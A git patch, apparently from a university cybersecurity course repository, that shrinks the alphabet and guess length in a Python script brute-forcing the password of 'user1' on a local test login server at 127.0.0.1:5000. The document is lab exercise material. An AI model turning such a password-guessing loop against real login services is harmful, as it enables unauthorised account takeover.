From f37c1ebd747fe3d1a943805ed231db9c4c89c3b8 Mon Sep 17 00:00:00 2001 From: Arthur DANJOU Date: Wed, 11 Mar 2026 15:47:57 +0100 Subject: [PATCH] =?UTF-8?q?R=C3=A9duire=20l'alphabet=20et=20la=20longueur?= =?UTF-8?q?=20des=20combinaisons=20pour=20le=20bruteforce=20de=20user1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- M2/Cybersecurity/bruteforce.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/M2/Cybersecurity/bruteforce.py b/M2/Cybersecurity/bruteforce.py index 0fd156f..c2ebb5c 100644 --- a/M2/Cybersecurity/bruteforce.py +++ b/M2/Cybersecurity/bruteforce.py @@ -7,9 +7,9 @@ import requests def bruteforce_user1() -> str | None: """Brute-force pour trouver le mot de passe de user1.""" url = "http://127.0.0.1:5000/login" - alphabet = string.ascii_lowercase + "0123456789" + alphabet = string.ascii_lowercase - for combination in itertools.product(alphabet, repeat=7): + for combination in itertools.product(alphabet, repeat=5): password_attempt = "".join(combination) payload = {"username": "user1", "password": password_attempt, "level": "1"}